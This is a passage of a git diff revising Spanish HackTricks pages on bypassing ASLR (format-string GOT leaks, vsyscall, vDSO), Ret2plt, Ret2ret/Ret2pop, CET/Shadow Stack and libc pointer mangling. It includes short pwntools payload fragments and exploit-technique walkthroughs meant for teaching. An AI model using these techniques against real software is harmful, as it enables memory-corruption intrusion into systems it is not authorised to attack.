* **Lectura Arbitraria de Cadenas de Formato**
|
||||
|
||||
Al igual que en ret2plt, si tienes una lectura arbitraria a través de una vulnerabilidad de cadenas de formato, es posible exfiltrar la dirección de una función de la **libc** desde el GOT. El siguiente [**ejemplo está aquí**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
|
||||
Al igual que en ret2plt, si tienes una lectura arbitraria a través de una vulnerabilidad de cadenas de formato, es posible extraer la dirección de una **función de la libc** desde el GOT. El siguiente [**ejemplo es de aquí**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
|
||||
```python
|
||||
payload = p32(elf.got['puts']) # p64() if 64-bit
|
||||
payload += b'|'
|
||||
|
@ -240,11 +241,11 @@ Intenta evadir ASLR abusando de direcciones dentro de la pila:
|
|||
### vsyscall
|
||||
|
||||
El mecanismo **`vsyscall`** sirve para mejorar el rendimiento al permitir que ciertas llamadas al sistema se ejecuten en espacio de usuario, aunque son fundamentalmente parte del kernel. La ventaja crítica de las **vsyscalls** radica en sus **direcciones fijas**, que no están sujetas a **ASLR** (Randomización de Diseño del Espacio de Direcciones). Esta naturaleza fija significa que los atacantes no necesitan una vulnerabilidad de fuga de información para determinar sus direcciones y usarlas en un exploit.\
|
||||
Sin embargo, no se encontrarán gadgets muy interesantes aquí (aunque por ejemplo es posible obtener un equivalente a `ret;`)
|
||||
Sin embargo, no se encontrarán gadgets muy interesantes aquí (aunque, por ejemplo, es posible obtener un equivalente a `ret;`)
|
||||
|
||||
(El siguiente ejemplo y código es [**de este informe**](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html#exploitation))
|
||||
|
||||
Por ejemplo, un atacante podría usar la dirección `0xffffffffff600800` dentro de un exploit. Mientras que intentar saltar directamente a una instrucción `ret` podría llevar a inestabilidades o bloqueos después de ejecutar un par de gadgets, saltar al inicio de una `syscall` proporcionada por la sección **vsyscall** puede resultar exitoso. Colocando cuidadosamente un gadget **ROP** que lleve la ejecución a esta dirección de **vsyscall**, un atacante puede lograr la ejecución de código sin necesidad de evadir **ASLR** para esta parte del exploit.
|
||||
Por ejemplo, un atacante podría usar la dirección `0xffffffffff600800` dentro de un exploit. Mientras intentar saltar directamente a una instrucción `ret` podría llevar a inestabilidad o bloqueos después de ejecutar un par de gadgets, saltar al inicio de una `syscall` proporcionada por la sección **vsyscall** puede resultar exitoso. Colocando cuidadosamente un gadget **ROP** que lleve la ejecución a esta dirección de **vsyscall**, un atacante puede lograr la ejecución de código sin necesidad de evadir **ASLR** para esta parte del exploit.
|
||||
```
|
||||
ef➤ vmmap
|
||||
Start End Offset Perm Path
|
||||
|
@ -287,7 +288,7 @@ gef➤ x/4i 0xffffffffff600800
|
|||
```
|
||||
### vDSO
|
||||
|
||||
Ten en cuenta cómo podría ser posible **burlar ASLR abusando del vdso** si el kernel está compilado con CONFIG\_COMPAT\_VDSO ya que la dirección vdso no se randomizará. Para más información, consulta:
|
||||
Por lo tanto, ten en cuenta cómo podría ser posible **burlar ASLR abusando del vdso** si el kernel está compilado con CONFIG\_COMPAT\_VDSO ya que la dirección vdso no se randomizará. Para más información, consulta:
|
||||
|
||||
{% content-ref url="../../rop-return-oriented-programing/ret2vdso.md" %}
|
||||
[ret2vdso.md](../../rop-return-oriented-programing/ret2vdso.md)
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
# Ret2plt
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Información Básica
|
||||
|
||||
El objetivo de esta técnica sería **filtrar una dirección de una función desde la PLT** para poder evadir ASLR. Esto se debe a que si, por ejemplo, filtras la dirección de la función `puts` desde la libc, entonces puedes **calcular dónde está la base de `libc`** y calcular desplazamientos para acceder a otras funciones como **`system`**.
|
||||
El objetivo de esta técnica sería **filtrar una dirección de una función del PLT** para poder evadir ASLR. Esto se debe a que si, por ejemplo, filtras la dirección de la función `puts` de la libc, entonces puedes **calcular dónde está la base de `libc`** y calcular desplazamientos para acceder a otras funciones como **`system`**.
|
||||
|
||||
Esto se puede hacer con un payload de `pwntools` como ([**desde aquí**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got)):
|
||||
```python
|
||||
|
@ -37,12 +38,12 @@ elf.plt['puts'],
|
|||
elf.symbols['main']
|
||||
)
|
||||
```
|
||||
Observa cómo se llama a **`puts`** (usando la dirección de la PLT) con la dirección de `puts` ubicada en la GOT (Tabla de Desplazamiento Global). Esto se debe a que cuando `puts` imprime la entrada GOT de `puts`, esta **entrada contendrá la dirección exacta de `puts` en la memoria**.
|
||||
Observa cómo se llama a **`puts`** (usando la dirección del PLT) con la dirección de `puts` ubicada en la GOT (Tabla de Desplazamiento Global). Esto se debe a que cuando `puts` imprime la entrada GOT de puts, esta **entrada contendrá la dirección exacta de `puts` en memoria**.
|
||||
|
||||
También observa cómo se utiliza la dirección de `main` en el exploit para que cuando `puts` finalice su ejecución, el **binario llame a `main` nuevamente en lugar de salir** (por lo que la dirección filtrada seguirá siendo válida).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Ten en cuenta que para que esto funcione, el **binario no puede estar compilado con PIE** o debes haber **encontrado una filtración para evitar PIE** para conocer la dirección de la PLT, GOT y main. De lo contrario, primero debes evitar PIE.
|
||||
Observa cómo para que esto funcione, el **binario no puede estar compilado con PIE** o debes haber **encontrado una filtración para evitar PIE** para conocer la dirección del PLT, GOT y main. De lo contrario, primero debes evitar PIE.
|
||||
{% endhint %}
|
||||
|
||||
Puedes encontrar un [**ejemplo completo de este bypass aquí**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). Este fue el exploit final de ese **ejemplo**:
|
||||
|
|
|
@ -1,24 +1,25 @@
|
|||
# Ret2ret & Ret2pop
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* ¡Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Ret2ret
|
||||
|
||||
El **objetivo principal** de esta técnica es intentar **burlar ASLR abusando de un puntero existente en la pila**.
|
||||
|
||||
Básicamente, los desbordamientos de pila suelen ser causados por cadenas, y **las cadenas terminan con un byte nulo al final** en la memoria. Esto permite intentar reducir el lugar apuntado por un puntero existente en la pila. Entonces, si la pila contenía `0xbfffffdd`, este desbordamiento podría transformarlo en `0xbfffff00` (nota el último byte anulado).
|
||||
Básicamente, los desbordamientos de pila suelen ser causados por cadenas, y **las cadenas terminan con un byte nulo al final** en la memoria. Esto permite intentar reducir el lugar apuntado por un puntero existente en la pila. Así, si la pila contenía `0xbfffffdd`, este desbordamiento podría transformarlo en `0xbfffff00` (nota el último byte nulo).
|
||||
|
||||
Si esa dirección apunta a nuestro shellcode en la pila, es posible hacer que el flujo alcance esa dirección **agregando direcciones a la instrucción `ret`** hasta que se alcance esta.
|
||||
|
||||
|
@ -27,13 +28,13 @@ Por lo tanto, el ataque sería así:
|
|||
* Trineo de NOP
|
||||
* Shellcode
|
||||
* Sobrescribir la pila desde el EIP con **direcciones a `ret`** (trineo de RET)
|
||||
* 0x00 añadido por la cadena modificando una dirección de la pila haciéndola apuntar al trineo de NOP
|
||||
* 0x00 añadido por la cadena modificando una dirección de la pila para que apunte al trineo de NOP
|
||||
|
||||
Siguiendo [**este enlace**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) puedes ver un ejemplo de un binario vulnerable y [**en este**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) el exploit.
|
||||
|
||||
## Ret2pop
|
||||
|
||||
En caso de que puedas encontrar un **puntero perfecto en la pila que no quieras modificar** (en `ret2ret` cambiamos el último byte más bajo a `0x00`), puedes realizar el mismo ataque `ret2ret`, pero la **longitud del trineo de RET debe ser acortada en 1** (para que el `0x00` final sobrescriba los datos justo antes del puntero perfecto), y la **última** dirección del trineo de RET debe apuntar a **`pop <reg>; ret`**.\
|
||||
En caso de que puedas encontrar un **puntero perfecto en la pila que no deseas modificar** (en `ret2ret` cambiamos el byte más bajo final a `0x00`), puedes realizar el mismo ataque `ret2ret`, pero la **longitud del trineo de RET debe ser acortada en 1** (para que el `0x00` final sobrescriba los datos justo antes del puntero perfecto), y la **última** dirección del trineo de RET debe apuntar a **`pop <reg>; ret`**.\
|
||||
De esta manera, los **datos antes del puntero perfecto serán eliminados** de la pila (estos son los datos afectados por el `0x00`) y el **último `ret` apuntará a la dirección perfecta** en la pila sin ningún cambio.
|
||||
|
||||
Siguiendo [**este enlace**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) puedes ver un ejemplo de un binario vulnerable y [**en este**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c) el exploit.
|
||||
|
@ -42,16 +43,17 @@ Siguiendo [**este enlace**](https://github.com/florianhofhammer/stack-buffer-ove
|
|||
|
||||
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md)
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* ¡Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,20 +1,21 @@
|
|||
# CET & Shadow Stack
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Control Flow Enforcement Technology (CET)
|
||||
## Tecnología de Aplicación del Flujo de Control (CET)
|
||||
|
||||
**CET** es una característica de seguridad implementada a nivel de hardware, diseñada para frustrar ataques comunes de secuestro de flujo de control como **Programación Orientada a Retorno (ROP)** y **Programación Orientada a Salto (JOP)**. Estos tipos de ataques manipulan el flujo de ejecución de un programa para ejecutar código malicioso o encadenar piezas de código benigno de una manera que realiza una acción maliciosa.
|
||||
|
||||
|
@ -25,7 +26,7 @@ CET introduce dos características principales: **Seguimiento de Ramas Indirecta
|
|||
|
||||
## Shadow Stack
|
||||
|
||||
El **shadow stack** es una **pila dedicada utilizada únicamente para almacenar direcciones de retorno**. Trabaja junto con la pila regular pero está protegida y oculta de la ejecución normal del programa, lo que dificulta que los atacantes interfieran. El objetivo principal del shadow stack es garantizar que se detecten cualquier modificación de las direcciones de retorno en la pila convencional antes de que puedan ser utilizadas, mitigando eficazmente los ataques ROP.
|
||||
El **shadow stack** es una **pila dedicada utilizada únicamente para almacenar direcciones de retorno**. Trabaja junto con la pila regular pero está protegida y oculta de la ejecución normal del programa, lo que dificulta que los atacantes manipulen. El objetivo principal del shadow stack es garantizar que se detecten cualquier modificación de las direcciones de retorno en la pila convencional antes de que puedan ser utilizadas, mitigando efectivamente los ataques ROP.
|
||||
|
||||
## Cómo CET y Shadow Stack Previenen Ataques
|
||||
|
||||
|
@ -34,16 +35,17 @@ Los ataques **ROP y JOP** dependen de la capacidad de secuestrar el flujo de con
|
|||
* La característica **IBT de CET** dificulta significativamente estos ataques al garantizar que las ramas indirectas solo puedan saltar a direcciones que han sido marcadas explícitamente como destinos válidos. Esto hace imposible que los atacantes ejecuten gadgets arbitrarios dispersos en el binario.
|
||||
* Por otro lado, el **shadow stack** asegura que incluso si un atacante puede sobrescribir una dirección de retorno en la pila normal, la **discrepancia será detectada** al comparar la dirección corrupta con la copia segura almacenada en el shadow stack al retornar de una función. Si las direcciones no coinciden, el programa puede terminar o tomar otras medidas de seguridad, evitando que el ataque tenga éxito.
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
# Protecciones de Libc
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Aplicación de Alineación de Chunks
|
||||
|
||||
**Malloc** asigna memoria en agrupaciones de **8 bytes (32 bits) o 16 bytes (64 bits)**. Esto significa que el final de los chunks en sistemas de 32 bits debería alinearse con **0x8**, y en sistemas de 64 bits con **0x0**. La característica de seguridad verifica que cada chunk **se alinee correctamente** en estas ubicaciones específicas antes de usar un puntero de un bin.
|
||||
**Malloc** asigna memoria en grupos de **8 bytes (32 bits) o 16 bytes (64 bits)**. Esto significa que el final de los chunks en sistemas de 32 bits debe alinearse con **0x8**, y en sistemas de 64 bits con **0x0**. La característica de seguridad verifica que cada chunk **se alinee correctamente** en estas ubicaciones específicas antes de usar un puntero de un bin.
|
||||
|
||||
### Beneficios de Seguridad
|
||||
|
||||
|
@ -30,7 +31,7 @@ Las nuevas reglas de alineación en Malloc también frustran un ataque clásico
|
|||
|
||||
El **Enmascaramiento de Punteros** es una mejora de seguridad utilizada para proteger los **punteros Fd de fastbin y tcache** en operaciones de gestión de memoria. Esta técnica ayuda a prevenir ciertos tipos de tácticas de explotación de memoria, específicamente aquellas que no requieren información de memoria filtrada o que manipulan ubicaciones de memoria directamente en relación con posiciones conocidas (sobrescrituras **relativas**).
|
||||
|
||||
El núcleo de esta técnica es una fórmula de ofuscación:
|
||||
La base de esta técnica es una fórmula de ofuscación:
|
||||
|
||||
**`Nuevo_Ptr = (L >> 12) XOR P`**
|
||||
|
||||
|
@ -48,9 +49,9 @@ Este puntero enmascarado aprovecha la aleatoriedad existente proporcionada por l
|
|||
El enmascaramiento de punteros tiene como objetivo **prevenir sobrescrituras parciales y completas de punteros en el heap**, una mejora significativa en seguridad. Esta característica impacta las técnicas de explotación de varias maneras:
|
||||
|
||||
1. **Prevención de Sobrescrituras Relativas de Bye Byte**: Anteriormente, los atacantes podían cambiar parte de un puntero para **redirigir chunks del heap a ubicaciones diferentes sin conocer direcciones exactas**, una técnica evidente en el exploit **House of Roman** sin filtraciones. Con el enmascaramiento de punteros, tales sobrescrituras relativas **sin una filtración de heap ahora requieren fuerza bruta**, reduciendo drásticamente su probabilidad de éxito.
|
||||
2. **Aumento de la Dificultad de Ataques a Tcache Bin/Fastbin**: Los ataques comunes que sobrescriben punteros de función (como `__malloc_hook`) manipulando entradas de fastbin o tcache se ven obstaculizados. Por ejemplo, un ataque podría implicar filtrar una dirección de LibC, liberar un chunk en el tcache bin y luego sobrescribir el puntero Fd para redirigirlo a `__malloc_hook` para ejecución de código arbitrario. Con el enmascaramiento de punteros, estos punteros deben enmascararse correctamente, **necesitando una filtración de heap para una manipulación precisa**, elevando así la barrera de explotación.
|
||||
2. **Mayor Dificultad en Ataques a Tcache Bin/Fastbin**: Los ataques comunes que sobrescriben punteros de función (como `__malloc_hook`) manipulando entradas de fastbin o tcache se ven obstaculizados. Por ejemplo, un ataque podría implicar filtrar una dirección de LibC, liberar un chunk en el tcache bin y luego sobrescribir el puntero Fd para redirigirlo a `__malloc_hook` para ejecución de código arbitrario. Con el enmascaramiento de punteros, estos punteros deben enmascararse correctamente, **necesitando una filtración de heap para una manipulación precisa**, elevando así la barrera de explotación.
|
||||
3. **Requisito de Filtraciones de Heap en Ubicaciones No-Heap**: Crear un chunk falso en áreas no-heap (como la pila, sección .bss o PLT/GOT) ahora también **requiere una filtración de heap** debido a la necesidad de enmascaramiento de punteros. Esto extiende la complejidad de explotar estas áreas, similar al requisito de manipulación de direcciones de LibC.
|
||||
4. **Hacer Filtraciones de Direcciones de Heap se Vuelve Más Desafiante**: El enmascaramiento de punteros restringe la utilidad de los punteros Fd en fastbin y tcache bins como fuentes de filtraciones de direcciones de heap. Sin embargo, los punteros en bins no ordenados, pequeños y grandes permanecen sin enmascarar, aún siendo utilizables para filtrar direcciones. Este cambio empuja a los atacantes a explorar estos bins en busca de información explotable, aunque algunas técnicas aún pueden permitir desenmascarar punteros antes de una filtración, aunque con limitaciones.
|
||||
4. **Hacer Filtraciones de Direcciones de Heap Más Desafiantes**: El enmascaramiento de punteros restringe la utilidad de los punteros Fd en fastbin y tcache bins como fuentes de filtraciones de direcciones de heap. Sin embargo, los punteros en bins no ordenados, pequeños y grandes permanecen sin enmascarar, aún siendo utilizables para filtrar direcciones. Este cambio empuja a los atacantes a explorar estos bins en busca de información explotable, aunque algunas técnicas aún pueden permitir desenmascarar punteros antes de una filtración, aunque con limitaciones.
|
||||
|
||||
### **Desenmascaramiento de Punteros con una Filtración de Heap**
|
||||
|
||||
|
@ -70,13 +71,13 @@ Donde **L** es la ubicación de almacenamiento y **P** es el puntero Fd. Cuando
|
|||
|
||||
1. **Filtración Inicial de los Bits Más Significativos**: Al hacer XOR entre el **L** desplazado y **P**, obtienes efectivamente los 12 bits superiores de **P** porque la parte desplazada de **L** será cero, dejando los bits correspondientes de **P** sin cambios.
|
||||
2. **Recuperación de Bits del Puntero**: Dado que XOR es reversible, conocer el resultado y uno de los operandos te permite calcular el otro operando. Esta propiedad se utiliza para deducir el conjunto completo de bits para **P** al hacer XOR sucesivamente con conjuntos conocidos de bits con partes del puntero enmascarado.
|
||||
3. **Desenmascaramiento Iterativo**: El proceso se repite, utilizando cada vez los bits de **P** recién descubiertos del paso anterior para decodificar el siguiente segmento del puntero enmascarado, hasta que se recuperan todos los bits.
|
||||
3. **Desenmascaramiento Iterativo**: El proceso se repite, cada vez utilizando los bits de **P** recién descubiertos del paso anterior para decodificar el siguiente segmento del puntero enmascarado, hasta que se recuperan todos los bits.
|
||||
4. **Manejo de Bits Deterministas**: Los últimos 12 bits de **L** se pierden debido al desplazamiento, pero son deterministas y pueden reconstruirse después del proceso.
|
||||
|
||||
